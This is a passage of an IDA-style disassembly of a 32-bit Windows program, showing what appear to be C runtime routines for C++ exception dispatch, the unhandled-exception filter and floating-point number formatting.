		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_42344D
		mov	esi, [ebp+arg_14]
		add	esp, 18h

loc_42355F:				; CODE XREF: sub_4234B4+67j
					; sub_4234B4+6Cj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_423519
		pop	ebx

loc_42356E:				; CODE XREF: sub_4234B4+62j
		pop	edi

loc_42356F:				; CODE XREF: sub_4234B4+Fj
					; sub_4234B4+3Dj
		pop	esi
		leave
		retn
sub_4234B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423572	proc near		; CODE XREF: sub_423776+93p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1], 0
		mov	[ebp+var_1C], eax
		jl	short loc_423592
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_423597

loc_423592:				; CODE XREF: sub_423572+16j
		call	sub_42384D

loc_423597:				; CODE XREF: sub_423572+1Ej
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx], 0E06D7363h
		push	esi
		push	edi
		jnz	loc_42374B
		cmp	dword ptr [ebx+10h], 3
		mov	edi, 19930520h
		jnz	loc_42363F
		mov	eax, [ebx+14h]
		cmp	eax, edi
		jz	short loc_4235C6
		cmp	eax, 19930521h
		jnz	short loc_42363F

loc_4235C6:				; CODE XREF: sub_423572+4Bj
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_42363F
		call	sub_4203B6
		cmp	dword ptr [eax+7Ch], 0
		jz	loc_423743
		call	sub_4203B6
		mov	esi, [eax+7Ch]
		mov	[ebp+arg_0], esi
		call	sub_4203B6
		mov	eax, [eax+80h]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	[ebp+var_1], 1
		call	sub_426861
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_42360B
		call	sub_42384D

loc_42360B:				; CODE XREF: sub_423572+92j
		cmp	dword ptr [esi], 0E06D7363h
		jnz	loc_423748
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42363C
		mov	eax, [eax+14h]
		cmp	eax, edi
		jz	short loc_42362E
		cmp	eax, 19930521h
		jnz	short loc_42363C

loc_42362E:				; CODE XREF: sub_423572+B3j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_42363C
		call	sub_42384D

loc_42363C:				; CODE XREF: sub_423572+ACj
					; sub_423572+BAj ...
		mov	ebx, [ebp+arg_0]

loc_42363F:				; CODE XREF: sub_423572+40j
					; sub_423572+52j ...
		cmp	dword ptr [ebx], 0E06D7363h
		jnz	loc_42374B
		cmp	dword ptr [ebx+10h], 3
		jnz	loc_42374B
		mov	eax, [ebx+14h]
		cmp	eax, edi
		jz	short loc_423667
		cmp	eax, 19930521h
		jnz	loc_42374B

loc_423667:				; CODE XREF: sub_423572+E8j
		mov	esi, [ebp+var_1C]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41E356
		mov	ecx, [ebp+var_C]
		add	esp, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_8], eax
		jnb	loc_423733
		jmp	short loc_423695
; ---------------------------------------------------------------------------

loc_423692:				; CODE XREF: sub_423572+1BBj
		mov	esi, [ebp+var_1C]

loc_423695:				; CODE XREF: sub_423572+11Ej
		cmp	[eax], esi
		jg	loc_42371E
		cmp	esi, [eax+4]
		jg	short loc_42371E
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		mov	esi, [eax+10h]
		mov	[ebp+var_18], ecx
		jle	short loc_42371E

loc_4236AF:				; CODE XREF: sub_423572+180j
		mov	ecx, [ebx+1Ch]
		mov	ecx, [ecx+0Ch]
		lea	edx, [ecx+4]
		mov	ecx, [ecx]
		test	ecx, ecx
		mov	[ebp+var_10], edx
		mov	[ebp+var_14], ecx
		jle	short loc_4236E8

loc_4236C4:				; CODE XREF: sub_423572+171j
		mov	eax, [ebp+var_10]
		mov	edi, [eax]
		push	dword ptr [ebx+1Ch]
		mov	[ebp+var_24], edi
		call	sub_422F6E
		test	eax, eax
		pop	ecx
		jnz	short loc_4236F6
		dec	[ebp+var_14]
		add	[ebp+var_10], 4
		cmp	[ebp+var_14], eax
		jg	short loc_4236C4
		mov	eax, [ebp+var_8]

loc_4236E8:				; CODE XREF: sub_423572+150j
		dec	[ebp+var_18]
		add	esi, 10h
		cmp	[ebp+var_18], 0
		jg	short loc_4236AF
		jmp	short loc_42371E
; ---------------------------------------------------------------------------

loc_4236F6:				; CODE XREF: sub_423572+165j
		push	[ebp+arg_1C]
		mov	edi, [ebp+var_8]
		push	[ebp+arg_18]
		mov	ecx, [ebp+var_24]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		mov	ebx, esi
		mov	esi, [ebp+arg_4]
		call	sub_42344D
		mov	ebx, [ebp+arg_0]
		add	esp, 18h
		mov	eax, edi

loc_42371E:				; CODE XREF: sub_423572+125j
					; sub_423572+12Ej ...
		inc	[ebp+var_C]
		mov	ecx, [ebp+var_C]
		add	eax, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_8], eax
		jb	loc_423692

loc_423733:				; CODE XREF: sub_423572+118j
		cmp	[ebp+arg_14], 0
		jz	short loc_423743
		push	1
		push	ebx
		call	sub_4230A9
		pop	ecx
		pop	ecx

loc_423743:				; CODE XREF: sub_423572+63j
					; sub_423572+1C5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_423748:				; CODE XREF: sub_423572+9Fj
		mov	ebx, [ebp+arg_0]

loc_42374B:				; CODE XREF: sub_423572+31j
					; sub_423572+D3j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_423771
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_1C]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_4234B4
		add	esp, 20h
		jmp	short loc_423743
; ---------------------------------------------------------------------------

loc_423771:				; CODE XREF: sub_423572+1DDj
		jmp	sub_423818
sub_423572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423776	proc near		; CODE XREF: sub_41E16C+21p
					; .text:0041E1D4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		push	edi
		and	eax, 1FFFFFFFh
		mov	edi, 19930520h
		cmp	eax, edi
		jz	short loc_423793
		call	sub_42384D

loc_423793:				; CODE XREF: sub_423776+16j
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4237BB
		cmp	dword ptr [esi+4], 0
		jz	short loc_423811
		cmp	[ebp+arg_14], 0
		jnz	short loc_423811
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_422FDB
		add	esp, 10h
		jmp	short loc_423811
; ---------------------------------------------------------------------------

loc_4237BB:				; CODE XREF: sub_423776+24j
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_423811
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4237F5
		cmp	[eax+14h], edi
		jbe	short loc_4237F5
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_4237F5
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_423814
; ---------------------------------------------------------------------------

loc_4237F5:				; CODE XREF: sub_423776+51j
					; sub_423776+56j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_423572
		add	esp, 20h

loc_423811:				; CODE XREF: sub_423776+2Aj
					; sub_423776+30j ...
		xor	eax, eax
		inc	eax

loc_423814:				; CODE XREF: sub_423776+7Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_423776	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423818	proc near		; CODE XREF: sub_422FBD+19j
					; .text:004230E9j ...

ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 004268B1 SIZE 00000018 BYTES

		push	8
		push	offset stru_42A470
		call	__SEH_prolog
		call	sub_4203B6
		cmp	dword ptr [eax+6Ch], 0
		jz	short loc_423848
		and	[ebp+ms_exc.disabled], 0
		call	sub_4203B6
		call	dword ptr [eax+6Ch]
		jmp	short loc_423844
; ---------------------------------------------------------------------------

loc_42383D:				; DATA XREF: .text:stru_42A470o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_423841:				; DATA XREF: .text:stru_42A470o
		mov	esp, [ebp+ms_exc.old_esp]

loc_423844:				; CODE XREF: sub_423818+23j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh

loc_423848:				; CODE XREF: sub_423818+15j
		jmp	loc_4268B1
sub_423818	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42384D	proc near		; CODE XREF: sub_41E356+23p
					; sub_41E356:loc_41E3C0p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset stru_42A480
		call	__SEH_prolog
		mov	eax, ds:off_433960
		test	eax, eax
		jz	short loc_423875
		and	[ebp+ms_exc.disabled], 0
		call	eax ; sub_423818
		jmp	short loc_423871
; ---------------------------------------------------------------------------

loc_42386A:				; DATA XREF: .text:stru_42A480o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_42386E:				; DATA XREF: .text:stru_42A480o
		mov	esp, [ebp+ms_exc.old_esp]

loc_423871:				; CODE XREF: sub_42384D+1Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh

loc_423875:				; CODE XREF: sub_42384D+13j
		jmp	sub_423818
sub_42384D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423880	proc near		; CODE XREF: sub_41E465+45p
					; sub_422FDB+68p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41DF59
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_4238BF
		mov	ecx, 2

loc_4238BF:				; CODE XREF: sub_423880+38j
		push	ecx
		call	sub_41DF59
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_423880	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238CC	proc near		; DATA XREF: sub_42391Ao
					; .text:00433130o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4238F7
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4238F7
		mov	eax, [eax+14h]
		cmp	eax, 19930520h
		jz	short loc_4238F2
		cmp	eax, 19930521h
		jnz	short loc_4238F7

loc_4238F2:				; CODE XREF: sub_4238CC+1Dj
		call	sub_423818

loc_4238F7:				; CODE XREF: sub_4238CC+Dj
					; sub_4238CC+13j ...
		mov	eax, ds:dword_43583C
		test	eax, eax
		jz	short loc_423914
		push	eax
		call	sub_426899
		test	eax, eax
		pop	ecx
		jz	short loc_423914
		push	esi
		call	ds:dword_43583C
		jmp	short loc_423916
; ---------------------------------------------------------------------------

loc_423914:				; CODE XREF: sub_4238CC+32j
					; sub_4238CC+3Dj
		xor	eax, eax

loc_423916:				; CODE XREF: sub_4238CC+46j
		pop	esi
		retn	4
sub_4238CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42391A	proc near		; DATA XREF: .text:00433058o
		push	offset sub_4238CC
		call	ds:dword_429154	; SetUnhandledExceptionFilter
		mov	ds:dword_43583C, eax
		xor	eax, eax
		retn
sub_42391A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42392D	proc near		; DATA XREF: .text:00433074o
		push	ds:dword_43583C
		call	ds:dword_429154	; SetUnhandledExceptionFilter
		retn
sub_42392D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42393A	proc near		; CODE XREF: sub_41F8BB+491p
					; DATA XREF: sub_41E4F8+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_426991
		cmp	eax, 65h
		jmp	short loc_423959
; ---------------------------------------------------------------------------

loc_42394D:				; CODE XREF: sub_42393A+20j
		inc	esi
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D63C
		test	eax, eax

loc_423959:				; CODE XREF: sub_42393A+11j
		pop	ecx
		jnz	short loc_42394D
		mov	al, [esi]
		mov	cl, ds:byte_433AA4
		mov	[esi], cl
		inc	esi

loc_423967:				; CODE XREF: sub_42393A+38j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_423967
		pop	esi
		retn
sub_42393A	endp


; =============== S U B	R O U T	I N E =======================================



sub_423976	proc near		; CODE XREF: sub_41F8BB+4A2p
					; DATA XREF: sub_41E4F8+Ao ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	bl, ds:byte_433AA4
		jmp	short loc_423988
; ---------------------------------------------------------------------------

loc_423983:				; CODE XREF: sub_423976+16j
		cmp	cl, bl
		jz	short loc_42398E
		inc	eax

loc_423988:				; CODE XREF: sub_423976+Bj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_423983

loc_42398E:				; CODE XREF: sub_423976+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_4239BF
		jmp	short loc_4239A2
; ---------------------------------------------------------------------------

loc_423997:				; CODE XREF: sub_423976+30j
		cmp	cl, 65h
		jz	short loc_4239A8
		cmp	cl, 45h
		jz	short loc_4239A8
		inc	eax

loc_4239A2:				; CODE XREF: sub_423976+1Fj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_423997

loc_4239A8:				; CODE XREF: sub_423976+24j
					; sub_423976+29j
		mov	edx, eax

loc_4239AA:				; CODE XREF: sub_423976+38j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_4239AA
		cmp	[eax], bl
		jnz	short loc_4239B5
		dec	eax

loc_4239B5:				; CODE XREF: sub_423976+3Cj
					; sub_423976+47j
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_4239B5

loc_4239BF:				; CODE XREF: sub_423976+1Dj
		pop	ebx
		retn
sub_423976	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239C1	proc near		; DATA XREF: sub_41E4F8+28o
					; .text:off_433980o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_42A490
		fnstsw	ax
		test	ah, 1
		jnz	short loc_4239D8
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_4239D8:				; CODE XREF: sub_4239C1+11j
		xor	eax, eax
		retn
sub_4239C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4239DB	proc near		; DATA XREF: sub_41E4F8+14o
					; .text:off_433978o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_423A04
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4260B2
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_423A04:				; CODE XREF: sub_4239DB+Cj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4260EF
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		leave
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_423A19	proc near		; CODE XREF: sub_423A36+23p
					; sub_423B50+45p ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_423A34
		push	esi
		call	sub_41C350
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41BFA0
		add	esp, 10h

loc_423A34:				; CODE XREF: sub_423A19+5j
		pop	esi
		retn
sub_423A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A36	proc near		; CODE XREF: sub_423AE4+56p
					; sub_423C4E+85p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		push	esi
		mov	esi, eax
		jz	short loc_423A5F
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	edi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_423A19
		pop	edi

loc_423A5F:				; CODE XREF: sub_423A36+Aj
		cmp	dword ptr [esi], 2Dh
		mov	eax, ebx
		jnz	short loc_423A6C
		mov	byte ptr [ebx],	2Dh
		lea	eax, [ebx+1]

loc_423A6C:				; CODE XREF: sub_423A36+2Ej
		cmp	[ebp+arg_0], 0
		jle	short loc_423A83
		lea	ecx, [eax+1]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, ecx
		mov	cl, ds:byte_433AA4
		mov	[eax], cl

loc_423A83:				; CODE XREF: sub_423A36+3Aj
		xor	ecx, ecx
		cmp	[ebp+arg_8], cl
		push	offset dword_42A498
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41C930
		cmp	[ebp+arg_4], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_423AA8
		mov	byte ptr [ecx],	45h

loc_423AA8:				; CODE XREF: sub_423A36+6Dj
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_423ADF
		mov	eax, [esi+4]
		dec	eax
		jns	short loc_423ABC
		neg	eax
		mov	byte ptr [ecx],	2Dh

loc_423ABC:				; CODE XREF: sub_423A36+7Fj
		inc	ecx
		cmp	eax, 64h
		jl	short loc_423ACC
		cdq
		push	64h
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx

loc_423ACC:				; CODE XREF: sub_423A36+8Aj
		inc	ecx
		cmp	eax, 0Ah
		jl	short loc_423ADC
		cdq
		push	0Ah
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx

loc_423ADC:				; CODE XREF: sub_423A36+9Aj
		add	[ecx+1], al

loc_423ADF:				; CODE XREF: sub_423A36+79j
		mov	eax, ebx
		pop	esi
		pop	ebp
		retn
sub_423A36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423AE4	proc near		; CODE XREF: sub_423CE8+47p

var_2C		= dword	ptr -2Ch
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, ds:dword_433148
		push	ebx
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_426AE4
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [esi+1]
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		xor	ecx, ecx
		test	esi, esi
		setnle	cl
		add	eax, ebx
		add	ecx, eax
		push	ecx
		call	sub_4269B3
		push	0
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2C]
		push	esi
		call	sub_423A36
		mov	ecx, [ebp+var_4]
		add	esp, 28h
		pop	esi
		mov	eax, ebx
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_423AE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423B50	proc near		; CODE XREF: sub_423BEC+4Cp
					; sub_423C4E+72p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi+4]
		dec	eax
		cmp	[ebp+arg_8], 0
		push	edi
		jz	short loc_423B7D
		cmp	eax, [ebp+arg_4]
		jnz	short loc_423B7D
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		mov	byte ptr [eax+1], 0

loc_423B7D:				; CODE XREF: sub_423B50+10j
					; sub_423B50+15j
		cmp	dword ptr [esi], 2Dh
		mov	ebx, [ebp+arg_0]
		jnz	short loc_423B89
		mov	byte ptr [ebx],	2Dh
		inc	ebx

loc_423B89:				; CODE XREF: sub_423B50+33j
		mov	eax, [esi+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_423BA0
		mov	eax, ebx
		call	sub_423A19
		mov	byte ptr [ebx],	30h
		inc	ebx
		jmp	short loc_423BA2
; ---------------------------------------------------------------------------

loc_423BA0:				; CODE XREF: sub_423B50+41j
		add	ebx, eax

loc_423BA2:				; CODE XREF: sub_423B50+4Ej
		cmp	[ebp+arg_4], 0
		jle	short loc_423BE4
		mov	eax, ebx
		call	sub_423A19
		mov	al, ds:byte_433AA4
		mov	[ebx], al
		mov	esi, [esi+4]
		inc	ebx
		test	esi, esi
		jge	short loc_423BE4
		neg	esi
		cmp	[ebp+arg_8], 0
		jnz	short loc_423BCB
		cmp	[ebp+arg_4], esi
		jl	short loc_423BCE

loc_423BCB:				; CODE XREF: sub_423B50+74j
		mov	[ebp+arg_4], esi

loc_423BCE:				; CODE XREF: sub_423B50+79j
		mov	edi, [ebp+arg_4]
		mov	eax, ebx
		call	sub_423A19
		push	edi
		push	30h
		push	ebx
		call	sub_41C6D0
		add	esp, 0Ch

loc_423BE4:				; CODE XREF: sub_423B50+56j
					; sub_423B50+6Cj
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_423B50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BEC	proc near		; CODE XREF: sub_423CE8+1Ep

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, ds:dword_433148
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_426AE4
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_28]
		add	eax, esi
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_4269B3
		push	0
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_2C]
		call	sub_423B50
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		add	esp, 28h
		pop	esi
		call	sub_41E5BB
		leave
		retn
sub_423BEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423C4E	proc near		; CODE XREF: sub_423CE8+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, ds:dword_433148
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_426AE4
		mov	esi, [ebp+var_28]
		mov	ebx, [ebp+arg_8]
		xor	eax, eax
		dec	esi
		cmp	[ebp+var_2C], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	edi
		call	sub_4269B3
		mov	eax, [ebp+var_28]
		add	esp, 1Ch
		dec	eax
		cmp	esi, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_423CC7
		cmp	eax, ebx
		jge	short loc_423CC7
		test	cl, cl
		jz	short loc_423CB7

loc_423CAD:				; CODE XREF: sub_423C4E+64j
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_423CAD
		mov	[edi-2], al

loc_423CB7:				; CODE XREF: sub_423C4E+5Dj
		push	1
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_2C]
		call	sub_423B50
		jmp	short loc_423CD8
; ---------------------------------------------------------------------------

loc_423CC7:				; CODE XREF: sub_423C4E+55j
					; sub_423C4E+59j
		push	1
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2C]
		push	ebx
		mov	ebx, [ebp+arg_4]
		call	sub_423A36

loc_423CD8:				; CODE XREF: sub_423C4E+77j
		mov	ecx, [ebp+var_4]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_423C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CE8	proc near		; CODE XREF: sub_41F8BB+476p
					; DATA XREF: sub_41E4F8o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_423D23
		cmp	[ebp+arg_8], 45h
		jz	short loc_423D23
		cmp	[ebp+arg_8], 66h
		jnz	short loc_423D10
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_423BEC
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423D10:				; CODE XREF: sub_423CE8+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_423C4E
		jmp	short loc_423D34
; ---------------------------------------------------------------------------

loc_423D23:				; CODE XREF: sub_423CE8+7j
					; sub_423CE8+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_423AE4

loc_423D34:				; CODE XREF: sub_423CE8+39j
		add	esp, 10h
		pop	ebp
		retn
sub_423CE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_423D39	proc near		; CODE XREF: sub_41E530+16p
		push	30000h
		push	10000h
		call	sub_426CAB
		pop	ecx
		pop	ecx
		retn
sub_423D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423D4B	proc near		; CODE XREF: sub_423D8B:loc_423DAFj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
